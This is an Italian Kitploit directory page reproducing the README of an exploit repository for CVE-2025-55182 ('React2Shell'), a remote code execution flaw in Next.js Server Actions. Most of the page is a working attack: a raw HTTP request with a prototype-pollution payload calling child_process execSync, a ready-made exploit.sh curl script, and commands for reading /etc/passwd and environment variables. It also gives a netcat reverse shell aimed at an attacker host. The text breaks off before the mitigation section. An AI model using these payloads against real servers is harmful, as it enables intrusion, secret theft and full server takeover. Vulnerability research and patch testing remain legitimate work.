Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
react2shell-exploit — CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC) e Server Actions. | Kitploit
Strumenti/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC) e Server Actions.

Vedi Repository
114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 – React2Shell

Esecuzione remota di codice in Next.js

⚠️ Disclaimer: Questa documentazione è fornita solo a scopo educativo e di ricerca sulla sicurezza. Qualsiasi uso non autorizzato di queste tecniche contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test è illegale.


📋 Indice

  1. Panoramica
  2. Come funziona
  3. Installazione e configurazione
  4. Sfruttamento passo-passo
  5. Risultati e impatto
  6. Strategie di mitigazione

Panoramica

CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano:

  • React Server Components (RSC)
  • Server Actions

Perché è pericolosa?

Un attaccante può ottenere Remote Code Execution (RCE) sul server sfruttando:

  1. Deserializzazione non sicura dei payload RSC
  2. Prototype pollution tramite __proto__ e constructor
  3. Percorsi di esecuzione dinamici nel runtime server di Next.js

Conseguenza: È possibile eseguire comandi di sistema arbitrari con i privilegi del processo Node.js.


Come funziona

Fase 1: Protocollo RSC di Next.js

Next.js utilizza un protocollo proprietario multipart/form-data per comunicare tra client e server:

  • Il client invia React Server Components al server
  • Il server li deserializza e li elabora
  • Il risultato viene restituito al client
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

Fase 2: Il punto debole – Deserializzazione non sicura

La vulnerabilità esiste perché:

  1. I dati controllati dall'utente non vengono validati prima della deserializzazione
  2. L'accesso alla catena dei prototipi è consentito (__proto__, constructor)
  3. Alcuni campi vengono valutati dinamicamente durante l'elaborazione della richiesta

Fase 3: Attacco di prototype pollution

Un attaccante può creare un payload che modifica le proprietà interne degli oggetti:

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

Sfruttando __proto__, l'attaccante inquina il prototipo degli oggetti JavaScript, influenzando tutti gli oggetti che ne ereditano.

Fase 4: Iniezione di codice

All'interno del campo _prefix, l'attaccante inietta codice JavaScript che:

  1. Accede al modulo Node.js tramite process.mainModule.require()
  2. Carica il modulo child_process
  3. Esegue comandi di sistema usando execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Fase 5: Estrazione del risultato

Il risultato del comando viene nascosto nella risposta di errore:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js restituisce questo errore al client e l'output del comando è visibile nel campo digest.


Installazione e configurazione

Prerequisiti

  • Node.js 20
  • Burp Suite (o uno strumento simile per l'intercettazione delle richieste)
  • curl o Postman (per inviare i payload)

Passaggio 1: Clonare e installare il server vulnerabile

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

Passaggio 2: Avviare il server

npm run dev

Il server è ora accessibile all'indirizzo:

http://localhost:3000

Passaggio 3: Verificare che il server sia in esecuzione

curl http://localhost:3000/

In questa fase, il server si comporta normalmente.


Sfruttamento passo-passo

Approccio 1: Utilizzo di Burp Suite (intercettazione manuale)

Passaggio 1: Abilitare l'intercettazione

  1. Apri Burp Suite
  2. Vai alla scheda Proxy → Intercept
  3. Attiva Intercept is on
  4. Accedi a http://localhost:3000/ nel browser

Passaggio 2: Intercettare la richiesta

Verrà intercettata una richiesta GET. Inviala alla scheda Repeater:

  1. Tasto destro → Send to Repeater
  2. Vai alla scheda Repeater

Passaggio 3: Sostituire con il payload malevolo

Sostituisci l'intera richiesta con il seguente payload:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Passaggio 4: Inviare la richiesta

Clicca su Send


Approccio 2: Script di sfruttamento automatizzato

Crea un file exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Rendilo eseguibile:

chmod +x exploit.sh
./exploit.sh

Comandi di esempio

Elenca file e directory

COMMAND="ls -la /"

Ottieni l'utente corrente

COMMAND="whoami"

Leggi un file

COMMAND="cat /etc/passwd"

Controlla le connessioni di rete

COMMAND="netstat -tuln"

Ottieni le variabili d'ambiente

COMMAND="env"

Reverse shell (accesso completo al server)

Per ottenere un accesso completo alla shell interattiva, usa una reverse shell.

Sulla macchina dell'attaccante: mettiti in ascolto

ncat -lvnp 9009

Oppure con netcat:

nc -lvnp 9009

Sul target: invia il payload di reverse shell

Modifica il payload con il seguente comando (sostituisci <ATTACKER_IP> con il tuo indirizzo IP):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Il payload completo diventa:

Scarica lo strumento